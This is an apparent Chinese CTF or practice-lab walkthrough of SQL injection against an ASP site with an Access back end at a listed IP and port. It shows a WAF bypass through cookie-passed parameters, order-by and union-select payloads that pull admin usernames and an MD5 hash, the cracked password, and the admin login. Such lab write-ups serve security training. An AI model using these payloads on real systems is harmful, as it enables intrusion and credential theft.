第二章、遇到阻难，绕过waf

第二章、遇到阻难，绕过waf

0x01. 寻找注入点

进入靶场

寻找注入点

http://59.63.200.79:8004

一般新闻都会和数据库有交互，可以尝试在这个地方寻找注入点

看到id你还不欣喜若狂，接下来就开始测试吧，而且还是一个asp的网站，怀疑后台用的是access数据库

?id=172

?id=173

通过改变id参数的值，发现页面呈现不同的内容，可以判断应该是和数据库有交互，有回显，可以尝试联合注入

0x02. 绕过waf

?id=173'

遇到这个情况就很尴尬，通过get方式注入是不行了，哪还有什么方法呢，常见的有get，post，cookie，一般

cookie提交的数据是不进行过滤的，心动不如行动，开始BP抓包测试

开启代理，将抓到的数据包，发给重发器进行测试调节

发现果然通过cookie可以传递id参数

单引号测试

id=171'

数据库报错，但是并没有将报错信息显示出来，显然报错注入这种方法你不要想了

0x03. 注入手法

测试闭合方式

id=171'
id=171 and 1=1
id=171' and 1=1--+    

发现全部返回数据库出错,我醉了,我直接默认是数字型注入,开始order by

id=171+order+by+1,2,3,4,5,6,7,8,9

没有报错，我激动不已，可以说明两点，一是数字型注入，二是查询的字段个数大于9

id=171+order+by+1,2,3,4,5,6,7,8,9
id=171+order+by+1,2,3,4,5,6,7,8,9,10,11

到11的时候，没有结果返回，说明字段个数只有10，嘿嘿他还凑个整，真的是够了

判断数据在当前页面显示的位置

id=1711+union+select+1,2,3,4,5,6,7,8,9,10+ 代表空格

tmd竟然报错了，不讲道理啊，这语句没毛病啊，经过我深沉的思考后，难道后台真的是access数据库，不管了

先试一试，在access数据库中使用union select后面必须要接表名，这点特别恶心，既然是找后台，那么估计

八九不离十的有一个admin表，来一发试一试

id=1711+union+select+1,2,3,4,5,6,7,8,9,10+from+admin

乖乖老实了吧，不数据库报错了吧

既然是access数据库，那就没办法像mysql数据库那样靠information_schema这个库去查表名，字段名了

这种数据库的注入全靠猜，既然前面已经猜出来有admin表了，估计表下面会有id，username，password

这三个字段，别问我为什么知道这些，你写个项目就知道了

id=1711+union+select+1,username,password,4,5,6,7,8,id,10+from+admin+limit+0,1

果然出来了，但是密码应该md5摘要后的，注意md5不是加密算法，野生程序员注意啦，我多年口算md5的经验

告诉我，这是welcome，但是秉承着一向严谨的态度，证实一下我的口算

我这口算依然是屡试不爽啊

0x04. 登录后台

既然要登录后台，但是我没有后台的地址啊

你是不是想到了7kb,破壳这种扫描网站目录的工具，但是你忽略了题目的提示，默认后台，老司机的你还没想到

admin吗？

http://59.63.200.79:8004/admin/                     会自定跳到后台登录页面账号：admin密码：welcome

0x05. 总结

遇到access数据库，就看你会不会猜表名，字段名了，还要注意的是access数据库中使用union select 联合查询

的时候后面一定要接from 表名